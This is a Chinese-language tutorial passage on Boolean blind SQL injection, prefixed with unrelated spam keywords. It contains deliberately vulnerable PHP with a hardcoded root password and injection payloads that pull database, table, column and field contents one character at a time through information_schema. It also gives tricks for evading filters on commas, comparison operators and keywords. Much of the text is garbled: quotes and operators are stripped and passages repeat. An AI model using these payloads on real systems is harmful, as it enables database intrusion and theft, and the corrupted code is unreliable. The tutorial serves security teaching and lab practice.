松原做网站,如何在百度上推广业务,邢台市天气预报,网页版传奇复古布尔盲注适用场景#xff1a;
1、WAF或者过滤函数完全过滤掉union关键字
2、页面中不再回显具体数据#xff0c;但是在SQL语句执行成功或失败返回不同的内容
代码分析#xff1a;过滤关键字 union
if(preg_match(/union/i, $id))
{
echo fail;
exit;
}
代码…布尔盲注适用场景
1、WAF或者过滤函数完全过滤掉union关键字
2、页面中不再回显具体数据但是在SQL语句执行成功或失败返回不同的内容
代码分析过滤关键字 union
if(preg_match(/union/i, $id))
{
echo fail;
exit;
}
代码分析数据不会回显
$conn mysql_connect(localhost,root,123456) or die(连接数据库失败!);
mysql_query(set names utf-8,$conn);
mysql_query(use web_sql,$conn);
$sql select * from person where id {$id};
$res mysql_query($sql,$conn) or die(mysql_error());
$row mysql_fetch_array($res);
if($row){
$flag success;
}else{
$flag fail;
}布尔注入原理
利用 逻辑关系对SQL语句进行“干预”。
例如 select * from article where id 1
如果拼接and 11 恒为真输 出正确情况。 如果拼接 and 12 恒为假输出错误情况。 此时可以确定 and 11 和 and 12 返回不同结果此时id参数存在SQL注入漏洞。
布尔盲注实验
1、获取数据库名称
遍历数据库长度的字符最终找到数据名称web_sql
andlength(database())num #根据页面返回长度判断数据库长度
andsubstr(database(),1,1)a #逐字遍历替换a #substr substring mid 都可以截取字符串其中一部分
如果过滤引号可以适用 andascii(substr(database(),1,1)) 96 #根据ascii值判断 ord 也可以实 现
2、获取数据表名称
其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。
and ord(mid((select table_name from information_schema.tables where table_schemaweb_sql limit 2,1),1,1)) 963、获取字段名称
and ord(mid((select column_name from information_schema.columns where table_nameadmin limit 2,1),1,1)) 974、获取数值部分
and ord(mid((select 字段 from 表名),1,1)) 97布尔盲注过滤绕过技巧
绕过核心就是将布尔利用技术中的关键字进行替换
and ord(mid((select table_name from information_schema.tables where table_schemaweb_sql limit 2,1),1,1)) 961、过滤逗号绕过技巧
在进行盲注过程中可能需要substr(),mid(),limit等函数或操作符此时要用到逗号。如果逗号被过滤可 以使用以下技巧。
mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;2、过滤比较运算符技巧
在进行盲注过程中需要适用大于或小于比较运算符。如果过滤可以使用以下技巧 。
greatest(n1, n2, n3…):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)97;
least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同则返回0若根据当前分类次序第一个参数小于第二个则返回
-1其它情况返回 1
substr(username,1,1) in (t);
between a and b:范围在a-b之间
and substr(username,1,1) between a and t;
and substr(username,1,1) between t and t; 实验完成题目过滤绕过
过滤代码 preg_match(/union|and|benchmark|ascii|substr|,||||\s/i,$sql)